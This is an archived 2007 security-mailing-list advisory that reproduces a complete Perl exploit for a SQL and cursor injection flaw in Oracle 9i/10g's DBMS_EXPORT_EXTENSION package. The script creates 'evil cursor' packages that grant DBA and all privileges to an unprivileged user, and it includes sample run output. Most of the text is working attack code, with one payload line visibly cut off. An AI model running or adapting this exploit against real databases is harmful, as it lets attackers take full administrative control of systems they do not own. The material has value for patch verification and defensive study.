

# [EXPL] Oracle 9i/10g DBMS\_EXPORT\_EXTENSION SQL Injection Exploit (Exploit)

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-03/msg00011.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 4 Mar 2007 16:37:21 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Oracle 9i/10g DBMS\_EXPORT\_EXTENSION SQL Injection Exploit (Exploit)

---

## SUMMARY

A Vulnerability in Oracle's extension "dbms\_export\_extension" allows for an SQL injection attack.

## DETAILS

Vulnerable Systems:

- \* Oracle 10g – Release 10.2.0.1.0
- \* Oracle 9i – Release 9.2.0.2.0

Exploit:

```
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# – Version 2 – New "evil cursor injection" tip!
# – No "create procedure" privilege needed!
# – See: http://www.databassecurity.com/ (Cursor Injection)
#
# Grant or revoke dba permission to unprivileged user
#
```

## [EXPL] Oracle 9i/10g DBMS\_EXPORT\_EXTENSION SQL Injection Exploit (Exploit)

```
# Tested on Oracle 10g – Release 10.2.0.1.0
# Oracle 9i – Release 9.2.0.2.0
#
# REF: http://www.securityfocus.com/bid/17699
#
# AUTHOR: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# DATE: Copyright 2007 – Sat Mar 3 13:06:36 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
#
# bunker@syn:~/oraspl0it$ perl dbms_exp_extV2.pl -h localhost -s test -u
bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to
'BUNKER' (DBD ERROR: OCISstmtExecute) [for Statement "REVOKE DBA FROM
BUNKER"] at dbms_exp_extV2.pl line 70.
# DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to
'BUNKER' (DBD ERROR: OCISstmtExecute) [for Statement "REVOKE DBA FROM
BUNKER"] at dbms_exp_extV2.pl line 70.
#
# bunker@syn:~/oraspl0it$ perl dbms_exp_extV2.pl -h localhost -s test -u
bunker -p **** -g
# [-] Wait...
# [1] Creating evil cursor...
# Cursor: 2
# [2] Creating evil cursor...
# Cursor: 4
# [-] Go!
# [-] YOU GOT THE POWAH!!
#
# bunker@syn:~/oraspl0it$ perl dbms_exp_extV2.pl -h localhost -s test -u
bunker -p **** -r
# [-] Wait...
# [-] Revoking DBA from BUNKER...
# [-] Done!
#
```

```
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;
```

```
sub usage {
print <<"USAGE";
```

```
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
```

## [EXPL] Oracle 9i/10g DBMS\_EXPORT\_EXTENSION SQL Injection Exploit (Exploit)

### Options:

```
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password

-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
```

### USAGE

```
exit 0
```

```
}
```

```
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh =
    DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u},
    $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u},
    $opt{p}) or die;
}

my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
print "[+] Wait...\n";
$dbh->{RaiseError} = 1;
$dbh->func( 1000000, 'dbms_output_enable' );

if ($opt{r}) {
    print "[+] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[+] Done!\n";
    $dbh->disconnect;
    exit;
}

print "[1] Creating evil cursor...\n";
my $sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_1 NUMBER;
BEGIN
MYC_PKG_1 := DBMS_SQL.OPEN_CURSOR;
```

[EXPL] Oracle 9i/10g DBMS\_EXPORT\_EXTENSION SQL Injection Exploit (Exploit)

```
DBMS_SQL.PARSE(MYC_PKG_1,
'CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER; END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_1);
END;
} );
$sth->execute;
my $cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$line\n";
if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
ret NUMBER;
begin
ret := sys.dbms_sql.execute($cursor);
end;
});

print "[2] Creating evil cursor...\n";
$sth = $dbh->prepare(qq{
DECLARE
MYC_PKG_2 NUMBER;
BEGIN
MYC_PKG_2 := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC_PKG_2,
'CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (a SYS.odciindexinfo, b VARCHAR2,
c VARCHAR2, d SYS.odcienv) RETURN NUMBER IS
PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE "$sqlcmd";
COMMIT; RETURN(1); END;END;',0);
DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC_PKG_2);
END;
} );
$sth->execute;
$cursor = undef;
while (my $line = $dbh->func( 'dbms_output_get' )) {
print "$line\n";
if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
}
$sth->finish;
$dbh->do(qq{
declare
ret NUMBER;
begin
ret := sys.dbms_sql.execute($cursor);
end;
});
```

[EXPL] Oracle 9i/10g DBMS\_EXPORT\_EXTENSION SQL Injection Exploit (Exploit)

```
print "[-] Go!\n";
$dbh->do(qq{
DECLARE
PLS PLS_INTEGER;
RET VARCHAR2(200);
BEGIN
RET :=
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA('A','$user','BUNKERPKG','$user',"PL
END;
});
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
```

ADDITIONAL INFORMATION

The information has been provided by milw0rm.

The original article can be found at:

<<http://www.milw0rm.com/exploits/3401>>

<http://www.milw0rm.com/exploits/3401>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.